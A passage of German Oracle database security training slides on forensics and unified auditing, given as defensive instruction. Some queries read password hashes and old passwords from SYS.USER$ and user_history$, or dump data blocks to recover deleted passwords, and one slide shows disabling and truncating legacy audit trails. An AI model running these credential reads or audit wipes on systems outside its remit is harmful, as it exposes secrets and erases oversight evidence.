sammeln und auf einen sichern PC übertragen Alternativ Daten ausdrucken oder auf DVD brennen SPOOL forensik.txt SELECT ….. SPOOL OFF Wichtig: Ihre Spurensuche kann andere Spuren verwischen, deshalb: DB in READ Only Modus öffnen oder Backup erstellen und mit diesem arbeiten MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 6 Security II 7 - 6 Befehle zur Überwachung Letzte abgesetzte Befehle: SELECT LAST_ACTIVE_TIME, PARSING_USER_ID, SQL_TEXT FROM V$SQL ORDER BY LAST_ACTIVE_TIME ASC; Audit-Informationen (Bis 11.2.0.4) SELECT * FROM sys.aud$; Audit-Informationen (Ab 12.1.0.1) SELECT * FROM unified_audit_trail; Session Informationen SELECT SID, USER#, USERNAME, TERMINAL, OSUSER, PROGRAM, LOGON_TIME FROM V$SESSION; MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 7 Security II 7 - 7 Befehle zur Überwachung Benutzer Account Status: SELECT USER#, NAME, ASTATUS, PASSWORD, CTIME, PTIME, LTIME [,spare4 /* ab 12.1.0.1*/] FROM SYS.USER$ WHERE TYPE#=1; CTIME= Erstellungsdatum des Accounts PTIME = Datum der letzten Passwortänderung SPARE4 = Letzte erfolgreiche Anmeldezeit MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 8 Security II 7 - 8 SYS.USER$ Interessante Spalten LCOUNT Anzahl der ungültigen Anmeldeversuche Wird zurückgesetzt nach erfolgreicher Anmeldung Maximale Anzahl durch Profile begrenzt LTIME Sperrzeitpunkt des Benutzers SELECT name,lcount,ltime FROM sys.user$ WHERE lcount>0; MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 9 Was kann passieren: LCOUNT nimmt große Werte an z.B.: >10.000. Brutforce Attacke oder Client verwendet falsches Passwort (z.B. Nagios Benutzer) LCOUNT von verschiedenen Benutzern ist >0: Jemand versucht bis zu maximalen Anzahl von Fehlversuchen Acounts auszuspähen Bei gleicher/ähnlicher LTIME: Jemand hat über verschiedene Accounts versucht, sich Zutritt zur DB zu verschaffen Security II 7 - 9 Alte Passwörter Wenn eine Passwort-History eingeschalten wurde (in den Profilen Password Reuse Max), können Sie dort die alten Passwörter des Benutzers nachlesen: SELECT * FROM sys.user_history$; MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 10 Security II 7 - 10 SYS.WRH$_ACTIVE_SESSION_HISTORY Wichtige Spalten SAMPLE_TIME (Aufzeichnungszeit) PROGRAM (Welches Program wurde eingesetzt) Machine (ab 11.2)(Von welcher Maschine kam der Benutzer) Hinweis: Benötigt kostenpflichtiges Zusatzpaket (Tuning & Diagnostic Pack) MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 11 Security II 7 - 11 Welche Programme haben sich angemeldet? Hinweis: Die Spalte "Maschine" ist erst ab 11.2 verfügbar MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 12 Hinweis: Der SELECT dazu: select program, username, machine, sum("7-18h") as "7-18h", sum("18-7h") as "18-7h" FROM ( select program, username, machine, case when hour between 7 and 18 then cnt end as "7-18h" , case when hour < 7 or hour >18 then cnt end as "18-7h" FROM ( select program, username, machine, count(*) as cnt, to_char(trunc(sample_time,'HH'),'HH24') hour from sys.wrh$_active_session_history w, dba_users d where w.user_id=d.user_id (+) and (lower(program) not like '%oracle%(%)%') group by program, username, machine, to_char(trunc(sample_time,'HH'),'HH24'))) group by program, username, machine Security II 7 - 12 Änderungen an wichtigen Tabellen BEGIN dbms_stats.flush_database_monitoring_info; END; SELECT o.name,m.inserts, m.updates,m.deletes,m.timestamp FROM SYS.mon_mods_all$ m, sys.obj$ o WHERE o.obj#=m.obj# AND o.owner#=0 and o.name IN ('USER$','AUD$','FGA_LOG$') MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 13 Hinweis: Der Flush aktualisiert die Werte in der Tabelle. Es erscheinen nur Zeilen, die geändert wurden (deswegen fehlt fga_log$) Bei den Tabellen aud$ und fga_log$ sollte es niemals UPDATES und DELETES geben, sonst wurden die Tabellen manipuliert Updates auf user$ bedeuten, das Passwort wurde geändert, oder der Account gesperrt/entsperrt Ein Delete auf user$ löscht eine Rolle oder einen Benutzer Security II 7 - 13 Weitere interessante Tabellen Weitere interessante Tabellen, die überwacht werden könnten: SYSAUTH$ (DBA_SYS_PRIVS, Inserts/Deletes auf Systemrechte) OBJAUTH$ (DBA_TAB_PRIVS, Inserts/Deletes auf Objektrechte) EXTERNAL_TAB$ (DBA_EXTERNAL_TABLES) JAVA$POLICY$ (DBA_JAVA_POLICY) LIBRARY$ (DBA_LIBRARIES) MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 14 Security II 7 - 14 Listener.log in External Table CREATE DIRECTORY listener_log_dir as 'D:\oracle\diag\tnslsnr\goofymarco\ listener\trace'; CREATE TABLE listener_log( log_date DATE, connect_string VARCHAR2(300), protocol_info VARCHAR2(300), action VARCHAR2(15), service_name VARCHAR2(15), return_code NUMBER(10)) ORGANIZATION EXTERNAL … MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 15 Vollständige Syntax: create table listener_log( log_date date, connect_string varchar2(300), protocol_info varchar2(300), action varchar2(15), service_name varchar2(15), return_code number(10)) organization external ( type oracle_loader default directory LISTENER_LOG_DIR access parameters (records delimited by newline nobadfile nologfile nodiscardfile fields terminated by "*" lrtrim missing field values are null ( log_date char(30) date_format date mask "DD-MON-YYYY HH24:MI:SS", connect_string, protocol_info, action, service_name, return_code)) location ('listener.log')) reject limit unlimited / Security II 7 - 15 Auswertungen der listener.log Welche Module haben sich angemeldet ? SELECT count(*),connect_string FROM listener_log GROUP BY connect_string order by 1 desc; Fehler im listener.log: SELECT * FROM listener_log WHERE nvl(return_code,0) >0 MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 16 Security II 7 - 16 Blöcke auslesen Oracle löscht bei einem DELETE die Zeile nicht sofort im Block Ein Update lässt (bei genügend Platz im Block) die Zeile stehen und erzeugt eine neue (geänderte Zeile) Mit dem entsprechendem Hex-Editor kann man die Werte wieder sichtbar machen Interessant ist das für unverschlüsselte Passwörter Mit folgenden Befehlen kann man einen Block dumpen ALTER SESSION SET TRACEFILE_IDENTIFIER='DUMP'; ALTER SYSTEM DUMP DATAFILE 1 BLOCK MIN 209 BLOCK MAX 209; MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 17 Hinweis: Mit folgendem Select bekommen Sie Blöcke der Tabelle user$ heraus: SELECT distinct dbms_rowid.rowid_block_number(rowid) FROM user$ ORDER BY 1 => 209 210 211 212 213 Security II 7 - 17 Die SCN als Dokumentation des Zeitpunkts Oracle verwendet bei jeden Befehl, um diesen auch zeitlich einzuordnen eine fortlaufende Nummer: die SCN SCN steht für System Change Number 5 Tage lang wird die SCN in der Tabelle SMON_SCN_TIME gespeichert, danach werden die ältesten Einträge gelöscht Jedoch bleiben die SCN´s für die Logswitches in der Tabelle V$ARCHIVED_LOG meist länger stehen (die zeitliche Zuordnung ist aber dafür nicht mehr so genau) Alternativ kann auch Flashback Data Archive eingerichtet werden, um die SCN Zeitzuordnung länger durchzuführen MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 18 Security II 7 - 18 Checkpoint Nummer wandeln Sie können die SCN Nummer in eine Uhrzeit umwandeln durch: SELECT scn_to_timestamp(<SCN>) FROM dual; Ein Uhrzeit kann (auf 3 Sekunden genau) in eine SCN umgewandelt werden mittels: SELECT timestamp_to_scn('Uhrzeit') FROM dual; MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 19 Security II 7 - 19 SCN Nummern in Blöcken Seit der Version 10.2 kann die jeweilige Block SCN Nummer ausgelesen werden durch: SELECT ora_rowscn, t.* FROM tab t; Bei einer Änderung einer Zeile im Block, ändert sich für alle Zeilen im Block die SCN Mittels einer Option, kann jedoch die SCN für jede Zeile eigens gespeichert werden. CREATE TABLE t (id number) ROWDEPENDENCIES; Leider lässt sich die Option nachträglich nicht mehr ändern MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 20 Security II 7 - 20 Interessante Auswertungen bzgl der SCN Letzte Änderungen in den Blöcken, in denen Benutzerdaten gespeichert werden (dba_users) SELECT scn_to_timestamp(ora_rowscn) ,u.* FROM sys.user$ u; MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 21 Hinweis: Wenn die Zeitspanne zu lange zurückliegt, erhält man folgende Fehlermeldung: ORA-08181: Angegebene Zahl ist keine gültige SCN ORA-06512: in "SYS.SCN_TO_TIMESTAMP", Zeile 1 08181. 00000 - "specified number is not a valid system change number" *Cause: supplied scn was beyond the bounds of a valid scn. *Action: use a valid scn. Security II 7 - 21 Flashback Row History Zeigt Änderungen durch Insert/Update/Delete und deren Zeitpunkt an: SELECT versions_startscn START_SCN, to_char(scn_to_timestamp(versions_startscn),' DD.MM.YYYY Hh24:MI:SS') as start_time, versions_endscn END_SCN,versions_operation OP ,name as username,versions_xid XID FROM sys.user$ VERSIONS BETWEEN SCN MINVALUE AND MAXVALUE WHERE versions_operation IS NOT NULL; MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 22 REM Änderungen in der Rechtevergabe: SELECT u.name as username,m.name as priv_name,s.* FROM ( SELECT versions_startscn START_SCN, to_char(scn_to_timestamp(versions_startscn),'DD.MM.YYYY Hh24:MI:SS') as start_time, versions_endscn END_SCN,versions_operation OP ,grantee#,privilege#,versions_xid XID FROM sys.sysauth$ VERSIONS BETWEEN SCN MINVALUE AND MAXVALUE where versions_operation IS NOT NULL) s, sys.user$ u,sys.system_privilege_map m where s.grantee#=u.user# and s.privilege#=m.privilege; REM Deletes oder Updates auf aud$ SELECT versions_startscn START_SCN, to_char(scn_to_timestamp(versions_startscn),'DD.MM.YYYY Hh24:MI:SS') as start_time, versions_endscn END_SCN,versions_operation OP ,versions_xid XID ,aud$.* FROM sys.aud$ VERSIONS BETWEEN SCN MINVALUE AND MAXVALUE where versions_operation in ('D','U'); Security II 7 - 22 Inhaltliche Änderungen feststellen Bis auf V$ und GV$ Views kann über einen begrenzten Zeitraum die inhaltliche Veränderung einer Spalte beobachtet werden: Beispiel: Passwort-Änderung: SELECT name||'=>'||password||'#'||spare4 FROM sys.user$ AS OF SCN <start_scn> MINUS SELECT name||'=>'||password||'#'||spare4 FROM sys.user$) AS old_pwd MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 23 Security II 7 - 23 Kapitel 8 Unified Auditing Security II 8 - 1 Audit bis Version 11.2 Default Auditing Betriebssystem (ORACLE_BASE/ADMIN/<sid>/ADUMP) Standard Auditing (Systemprivilegien, Befehle, Objekte) SYS.AUD$ oder OS in proprietärem Format oder XML Fine Grained Auditing ((FGA) - Auditieren in Abhängigkeit von Bedingungen in der EE) SYS.FGA_LOG$ oder im OS in proprietärem Format oder XML SYS Auditing Betriebssystem Database Vault Auditing DVSYS.AUDIT_TRAIL$ MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8 - 2 Security II 8-2 Rückwärtskompatibilität Die alten Audit Methoden (sys.aud$, sys.fga_log$) können weiter auch parallel verwendet werden (Mixed Mode) Mixed Mode unterstützt sowohl die alte als auch die neue Audit-Methode Sie sollten jedoch ab Version 12 auf UNIFIED wechseln und die alten Methoden abschalten Oracle plant den Support für die alten Audit Verfahren in zukünftigen Oracle Versionen abzuschalten MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8 - 3 Security II 8-3 Empfehlungen Sie sollten die alte Audit-Einstellung deaktivieren ALTER SYSTEM SET audit_trail=none SCOPE=SPFILE; Datenbank durchstarten Nach Sichtung der Informationen, können die folgende Audit Tabellen mit TRUNCATE geleert werden: sys.aud$ sys.fga_log$ dvsys.audit_trail$ MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8 - 4 Security II 8-4 Unified Auditing Das Feature UNIFIED AUDITING fasst sämtliche AuditInformationen an einer einzigen Stelle zusammen. Dadurch ergeben sich einige Vorteile Keine Parametereinstellung mehr notwendig Bessere Übersicht und einfachere Sichtung der AuditInformationen Bessere Performance, was die Überwachung betrifft ORADEBUG Benutzung wird auch überwacht MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8-5 Hinweis: Auch wenn Unified Auditing "offiziell" ausgeschaltet wurde, sind Teile des Audits trotzdem IMMER aktiviert !! Folgende Quellen für Audit-Informationen können zusammen gefasst werden: •Audit Einträge (inkl. SYS Audits) aus Unified Audit Policies und allgemeinen AuditEinstellungen •Fine-grained audit Einträge über das Package DBMS_FGA PL/SQL •Oracle Database Real Application Security audit Einträge •Oracle Recovery Manager audit Einträge •Oracle Database Vault audit Einträge •Oracle Label Security audit Einträge •Oracle Data Mining Einträge •Oracle Data Pump •Oracle SQL*Loader Direct Load Stichwörter: Unified Auditing Security II 8 - 5 Unified Auditing alleinig aktivieren Ermittlung, ob Option bereits eingeschaltet (TRUE=eingeschaltet oder FALSE=ausgeschaltet): SELECT value FROM v$option WHERE parameter = 'Unified Auditing'; Bei FALSE muss Nutzung explizit aktiviert werden. Dazu Instanz und Listener herunterfahren Unter Unix Wechsel in $ORACLE_HOME/rdbms/lib, dann make -f ins_rdbms.mk uniaud_on ioracle ORACLE_HOME=$ORACLE_HOME Unter Windows in %ORACLE_HOME%\bin folgende Datei umbenennen orauniaud12.dll.dbl in orauniaud12.dll Listener und Instanz wieder starten MuniQSoft GmbH Kapitel 8 - Unified Auditing Interessante Views: •UNIFIED_AUDIT_TRAIL •V$UNIFIED_AUDIT_TRAIL Wenn Sie Unified Auditing wieder ausschalten möchten: UNIX: Alle DB Prozesse stoppen (Listener, DB, ..) make -f ins_rdbms.mk uniaud_off ioracle ORACLE_HOME=$ORACLE_HOME Alle Prozesse wieder starten Windows: Alle Dienste stoppen move orauniaud12.dll orauniaud12.dll.dbl Alle Dienste starten Stichwörter: Unified Auditing Security II 8 - 6 Security II 8-6 Unified Auditing Speichermethoden Der Initialisierungsparameter UNIFIED_AUDIT_SGA_ QUEUE_SIZE regelt die Speichermenge, die der Hauptspeicher für die Audit Einträge zur Verfügung stellt Speichergröße 1-30MB Benutzer die Unified Auditing administrieren wollen, benötigen das Recht AUDIT SYSTEM oder die Rolle AUDIT_ADMIN Die Auditdaten werden zuerst gecached und periodisch in Tabellen gespeichert Bei einem Shutdown abort könnten jedoch Einträge verloren gehen, deswegen unterstützt Oracle zwei Modi: Immediate (sofort schreiben) Queued Write (verzögert schreiben) MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8-7 Hinweis Die Audit Daten werden in einer partitionierten Tabelle im AUDSYS Schema im SYSAUX Tablespace gespeichert. Das AUDSYS Schema kann nicht gedropt werden. Stichwörter: Unified Auditing; Speichermethoden Security II 8 - 7 Unified Auditing Speichermethoden (f) BEGIN DBMS_AUDIT_MGMT.SET_AUDIT_TRAIL_PROPERTY( DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED, DBMS_AUDIT_MGMT.AUDIT_TRAIL_WRITE_MODE, -- #1: Immediate Write DBMS_AUDIT_MGMT.AUDIT_TRAIL_IMMEDIATE_WRITE -- #2: Queued Write (Default) DBMS_AUDIT_MGMT.AUDIT_TRAIL_QUEUED_WRITE); END; Sofort auf Disk schreiben BEGIN DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL; END; MuniQSoft GmbH Kapitel 8 - Unified Auditing Wenn Sie Daten direkt aus dem Speicher in die Tabellen flushen wollen: Single Instanz: EXEC DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL; Lokale RAC Instanz: BEGIN DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL( DBMS_AUDIT_MGMT.FLUSH_CURRENT_INSTANCE); END; Alle RAC Instanzen: BEGIN DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL( DBMS_AUDIT_MGMT.FLUSH_ALL_INSTANCES); END; Lokaler Pluggable DB Container: BEGIN DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL( CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_CURRENT); END; Alle PDB Container BEGIN DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL( CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_ALL); END; Stichwörter: Unified Auditing; Speichermethoden Security II 8 - 8 Security II 8-8 Wo wird das Audit gespeichert? Oracle speichert die Audit Daten im Benutzer AUDSYS Tabelle CLI_SWP* (Name wird zufällig erzeugt) Die Tabelle ist gegen DML und DDL Manipulationen geschützt TRUNCATE TABLE AUDSYS."CLI_SWP$4de9718f$1$1" ORA-55941: DML- und DDL-Vorgänge sind auf Tabelle "AUDSYS"."CLI_SWP$4de9718f$1$1" nicht zulässig MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8 - 9 Security II 8-9 Unified Auditing: Rechte Systemprivileg AUDIT SYSTEM Darf das Auditing konfigurieren, aktivieren, de-aktivieren, aber nicht auswerten Rolle AUDIT_ADMIN Darf das Auditing konfigurieren und auswerten Rolle AUDIT_VIEWER Darf nur den audit trail auswerten Typischerweise für Auditoren verwendet Eigentümer eines Objekts kann nicht mehr automatisch das Auditing selbst festlegen die über seine Objekte gesammelten Audit Daten auswerten MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8 - 10 Security II 8-10 Unified Autiting Syntax Syntax: CREATE AUDIT POLICY policy [ privilege_audit_clause ] [ standard_or_component_clause ] [ role_audit_clause ] [ WHEN 'audit_condition' EVALUATE PER { STATEMENT | SESSION | INSTANCE } ] [ CONTAINER = { ALL | CURRENT } ] ; MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8-11 privilege_audit_clause := PRIVILEGES privilege1 [, privilege2] role_audit_clause := ROLES role1 [, role2] action_audit_clause := {standard_actions | component_actions} [, component_actions ] Standard Actions: ACTIONS { { object_action | ALL } ON { DIRECTORY directory_name | MINING MODEL [ schema. ] object_name | [ schema. ] object_name } | { system_action | ALL } } [ { object_action | ALL } ON { DIRECTORY directory_name | MINING MODEL [ schema. ] object_name | [ schema. ] object_name } | { system_action | ALL } ]... Komponent Actions component_actions := ACTIONS COMPONENT=[OLS|XS] action1 [,action2 ] | ACTIONS COMPONENT=DV DV_action ON DV_object_name | ACTIONS COMPONENT=DATAPUMP [ EXPORT | IMPORT | ALL ] | ACTIONS COMPONENT=DIRECT_LOAD [ LOAD | ALL ] WHEN 'audit_condition := function operation value_list' EVALUATE PER {STATEMENT|SESSION|INSTANCE} Stichwörter: Unified Auditing; Syntax Security II 8 - 11 Unified Auditing Syntax (f) EVALUATE PER … STATEMENT Für jedes ausgeführte Statement wird ein Auditeintrag erstellt SESSION Innerhalb wird nur einmal für ein ausgeführtes Statement ein Auditeintrag erzeugt INSTANCE Solange die Instanz läuft, wird Vorgehen nur einmal aufgezeichnet CONTAINER = ALL (Alle container einer Plugable Database) CURRENT (nur der aktuelle Container) MuniQSoft GmbH Kapitel 8 - Unified Auditing Stichwörter: Unified Auditing; Syntax Security II 8 - 12 Security II 8-12 Unified Auditing: WHEN Klausel Nummerische Funktionen: BITAND, CEIL, FLOOR, POWER String Funktionen: CONCAT, LOWER, UPPER, INSTR, LENGTH Weitere Funktionen: SYS_CONTEXT, UID Vergleichsoperatoren: =, !=, <>, <, >, <=, >= Boolesche Operatoren: AND, OR NULL Prüfungen: IS [NOT] NULL [NOT] BETWEEN condition [NOT] IN condition MuniQSoft GmbH Kapitel 8 - Unified Auditing Beispiele: 'SYS_CONTEXT(''USERENV'', ''CLIENT_IDENTIFIER'') = ''my_client''' Stichwörter: Unified Auditing; WHEN Security II 8 - 13 Security II 8-13 Beispiele zur WHEN Klausel SELECT ANY TABLE und CREATE VIEW für zwei OS Benutzer (Marco , Hans ) überwachen: CREATE AUDIT POLICY osusers_tab_view_pol PRIVILEGES SELECT ANY TABLE, CREATE VIEW WHEN q'!SYS_CONTEXT ('USERENV', 'OS_USER') IN ('MARCO', 'HANS')!' EVALUATE PER SESSION; Alle Anmeldungen durch SQL*Plus überwachen: CREATE AUDIT POLICY sqlplus_logon_pol ACTIONS LOGON WHEN q'!INSTR(UPPER(SYS_CONTEXT('USERENV', 'CLIENT_PROGRAM_NAME')), 'SQLPLUS' ) > 0!' EVALUATE PER SESSION; MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8-14 Weitere Beispiele: Wer nicht von den Hosts muenchen1 und muenchen2 kommt, wird überwacht bei einem UPDATE oder DELETE auf der EMP Tabelle: CREATE AUDIT POLICY not_muc_logon_pol ACTIONS UPDATE ON scott.emp, DELETE ON scott.emp WHEN q'!SYS_CONTEXT ('USERENV'', 'HOST') NOT IN ('muenchen1','muenchen2')' EVALUATE PER SESSION; Stichwörter: Unified Auditing; WHEN Security II 8 - 14 Audit aktivieren AUDIT { POLICY policy [ { BY user [, user]... } | { EXCEPT user [, user]... } ] [ WHENEVER [ NOT ] SUCCESSFUL ] } | { CONTEXT NAMESPACE namespace ATTRIBUTES attribute [, attribute ]... [, CONTEXT NAMESPACE namespace ATTRIBUTES attribute [, attribute ]... ]... [ BY user [, user]... ] } ; Beispiel: AUDIT POLICY table_poli; AUDIT POLICY dml_poli BY scott,marco; AUDIT POLICY dml_poli EXCEPT hans,hilde; MuniQSoft GmbH Kapitel 8 - Unified Auditing Stichwörter: Unified Auditing; aktivieren Security II 8 - 15 Security II 8-15 Audit deaktivieren NOAUDIT { POLICY policy | CONTEXT NAMESPACE namespace attribute [, attribute ]... CONTEXT NAMESPACE namespace attribute [, attribute ]... [ BY user [, user]... ] ; ATTRIBUTES [, ATTRIBUTES ]... } Beispiel: NOAUDIT POLICY table_poli; MuniQSoft GmbH Kapitel 8 - Unified Auditing Stichwörter: Unified Auditing; deaktivieren Security II 8 - 16 Security II 8-16 Unified Auditing Beispiele Beispiele: CREATE DELETE INSERT UPDATE ALL AUDIT POLICY dml_poli ACTIONS on scott.emp, on scott.emp, on scott.emp, on scott.dept; AUDIT POLICY dml_poli BY scott; SELECT audit_option, audit_condition, object_schema, object_name, object_type FROM AUDIT_UNIFIED_POLICIES WHERE policy_name='DML_POLI'; MuniQSoft GmbH Kapitel 8 - Unified Auditing Prüfen, welche Überwachungen eingeschaltet wurden: • SELECT audit_option,audit_condition, object_schema,object_name,object_type FROM AUDIT_UNIFIED_POLICIES WHERE policy_name='DML_POLI'; Stichwörter: Unified Auditing; Beispiele Security II 8 - 17 Security II 8-17 Unified Auditing Beispiele Überwachung der Rolle Resource durch Benutzer marco: CREATE AUDIT POLICY aud_marco ROLES RESOURCE WHEN q'!SYS_CONTEXT('USERENV', 'MODULE') <> ('MARCO')!' EVALUATE PER STATEMENT ; Überwachung für alle Benutzer bis auf Marco durchführen: AUDIT POLICY aud_marco EXCEPT marco; Überwachung für alle Benutzer bei nicht erfolgreicher Aktion durchführen: AUDIT POLICY aud_marco WHENEVER NO SUCCESSFUL; MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8 - 18 Security II 8-18 Unified Auditing Beispiele für Privilegien Beispiele (Wann hat jemand diese Rechte genutzt?): CREATE AUDIT POLICY table_poli PRIVILEGES SELECT ANY TABLE, CREATE ANY TABLE, DROP ANY TABLE; AUDIT POLICY table_poli BY scott; MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8-19 Weitere Beispiele: Prüfen, welche Überwachungen eingeschaltet wurden: SELECT * FROM audit_unified_policies WHERE policy_name IN ('TABLE_POLI','DML_POLI'); Prüfen ob jemand ausser Benutzer 101,105 oder 110 DML Befehle auf der EMP Tabelle durchgeführt hat: CREATE AUDIT POLICY emp_updates_pol ACTIONS DELETE on scott.emp, INSERT on scott.emp, UPDATE on scott.emp WHEN 'UID NOT IN (101, 105, 110)' EVALUATE PER STATEMENT; Stichwörter: Unified Auditing; Privilegien Security II 8 - 19 Interessante Privilegien zum Audit CREATE USER CREATE LIBRARY ALTER USER CREATE PUBLIC SYNONYM CREATE DATABASE LINK DROP TABLESPACE ALTER DATABASE LINK DROP ANY TABLE ALTER SESSION DROP USER ALTER SYSTEM EXEMPT ACCESS POLICY AUDIT ANY EXEMPT DDL REDACTION POLICY AUDIT SYSTEM EXEMPT DML REDACTION POLICY BECOME USER EXEMPT IDENTITY POLICY CREATE ANY DIRECTORY EXEMPT REDACTION POLICY CREATE ANY JOB EXPORT FULL DATABASE CREATE EXTERNAL JOB GRANT ANY OBJECT PRIVILEGE CREATE JOB GRANT ANY PRIVILEGE MuniQSoft GmbH Kapitel 8 - Unified Auditing Weitere: GRANT ANY ROLE INHERIT ANY PRIVILEGES MANAGE SCHEDULER RESTRICTED SESSION SELECT ANY TABLE Stichwörter: Unified Auditing; Privilegien Security II 8 - 20 Security II 8-20 Unified Autiting Beispiele für Packages Beispiele: Überwachen, ob SYS Rechte an UTL_FILE/UTL_TCP/UTL_SMTP vergibt: CREATE AUDIT POLICY dbms_utl_grants ACTIONS GRANT ON UTL_FILE, GRANT ON UTL_TCP GRANT ON UTL_SMTP; AUDIT POLICY dbms_utl_grants BY SYS; MuniQSoft GmbH Kapitel 8 - Unified Auditing Weitere Beispiele: Prüfen, welche Überwachungen eingeschaltet wurden: SELECT * FROM audit_unified_policies WHERE policy_name IN ('TABLE_POLI','DML_POLI'); Stichwörter: Unified Auditing; Packages Security II 8 - 21 Security II 8-21 Lohnenswerte Packages für die Überwachung UTL_FILE DBMS_FGA UTL_SMTP DBMS_RLS APEX_MAIL DBMS_CRYPTO UTL_HTTP DBMS_JOB UTL_TCP DBMS_SCHEDULER UTL_INADDR DBMS_SQL DBMS_SYS_SQL MuniQSoft GmbH Kapitel 8 - Unified Auditing Stichwörter: Unified Auditing; Monitoring Security II 8 - 22 Security II 8-22 Beispiel: Packageüberwachung CREATE AUDIT POLICY MUSO_PACKAGE_POLICY ACTIONS EXECUTE ON sys.utl_file, EXECUTE ON sys.utl_smtp, EXECUTE ON sys.utl_http, EXECUTE ON sys.utl_tcp, EXECUTE ON sys.utl_inaddr, EXECUTE ON sys.dbms_fga, EXECUTE ON sys.dbms_rls, EXECUTE ON sys.dbms_crypto, EXECUTE ON sys.dbms_job, EXECUTE ON sys.dbms_scheduler; MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8 - 23 Security II 8-23 Audit auf Objekte Recht \ Objekt Table View Seq uence Procedure Trigger Func tion Pack age Material. View Direc tory Object Type Java Obj ALTER AUDIT COMMENT DELETE EXECUTE FLASHBACK GRANT INDEX INSERT LOCK RENAME READ SELECT UPDATE WRITE * * Fehlt in der Doku 12.1.0.2, funktioniert aber. MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8 - 24 Security II 8-24 Unified Autiting Bsp für Rollenbenutzung Rolle anlegen und Rechte vergeben: CREATE ROLE min_role; GRANT create tablespace TO min_role; GRANT MIN_ROLE, create session to scott; Überwachen, wer die Rolle min_role verwendet hat: CREATE AUDIT POLICY aud_role_pol ROLES min_role; AUDIT POLICY min_role WHENEVER SUCCESSFUL; MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8 - 25 Security II 8-25 Unified Autiting Beispiele (f) Lesezugriffe auf Directory DATA_PUMP_DIR überwachen: CREATE AUDIT POLICY read_dir_pol ACTIONS READ ON DIRECTORY data_pump_dir; Alle RDBMS Aktivitäten überwachen: CREATE AUDIT POLICY all_actions_pol ACTIONS ALL; Hinweis: RMAN Aktivitäten werden immer automatisch überwacht: SELECT dbusername, rman_operation FROM unified_audit_trail WHERE rman_operation IS NOT NULL; MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8-26 Syntax: • CREATE AUDIT POLICY <policy_name> ACTIONS COMPONENT=DATAPUMP { EXPORT | IMPORT | ALL }; Beispiel: Datapump Export überwachen: • CREATE AUDIT POLICY audit_expdp_pol ACTIONS COMPONENT=DATAPUMP EXPORT; • AUDIT POLICY audit_expdp_pol; Auswerten der Überwachung: • SELECT DP_TEXT_PARAMETERS1, DP_BOOLEAN_PARAMETERS1 FROM UNIFIED_AUDIT_TRAIL WHERE AUDIT_TYPE = 'DATAPUMP'; Stichwörter: Unified Auditing; Beispiele Security II 8 - 26 SQL*Loader mittels AUDIT überwachen Syntax: CREATE AUDIT POLICY <policy_name> ACTIONS COMPONENT=DIRECT_LOAD { LOAD }; Beispiel: CREATE AUDIT POLICY audit_sqlldr_pol ACTIONS COMPONENT=DIRECT_LOAD LOAD; AUDIT POLICY audit_sqlldr_pol; Überwachung: SELECT DBUSERNAME, ACTION_NAME, OBJECT_SCHEMA, OBJECT_NAME, DIRECT_PATH_NUM_COLUMNS_LOADED FROM UNIFIED_AUDIT_TRAIL WHERE AUDIT_TYPE = 'DIRECT PATH API'; MuniQSoft GmbH Kapitel 8 - Unified Auditing Stichwörter: Unified Auditing; SQL*LOADER; Monitoring Security II 8 - 27 Security II 8-27 Vordefinierte Policies ORA_SECURECONFIG (eingeschaltet !!) Entspricht den aus Oracle Database 11g bekannten Defaults Ausschalten: NOAUDIT POLICY ORA_SECURECONFIG; ORA_ACCOUNT_MGMT (disabled) CREATE / ALTER / DROP USER CREATE / ALTER / DROP / SET ROLE GRANT, REVOKE ORA_DATABASE_PARAMETER (disabled) ALTER DATABASE ALTER SYSTEM CREATE SPFILE MuniQSoft GmbH Kapitel 8 - Unified Auditing Folgende Komponenten lassen sich auditieren: • Data Pump • Database Vault • Data Mining • Label Security • Real Application Security • SQL Loader direct loads Hinweis: • Auditing des RMAN wird über den RMAN selbst gesteuert Security II 8 - 28 Security II 8-28 Audits abändern Eine bestehende AUDIT Policy kann erweitert oder reduziert werden: ALTER AUDIT POLICY <policy_name> [ADD [privilege_audit_clause] [action_audit_clause] [role_audit_clause]] [DROP [privilege_audit_clause] [action_audit_clause] [role_audit_clause]] [CONDITION {DROP | audit_condition EVALUATE PER 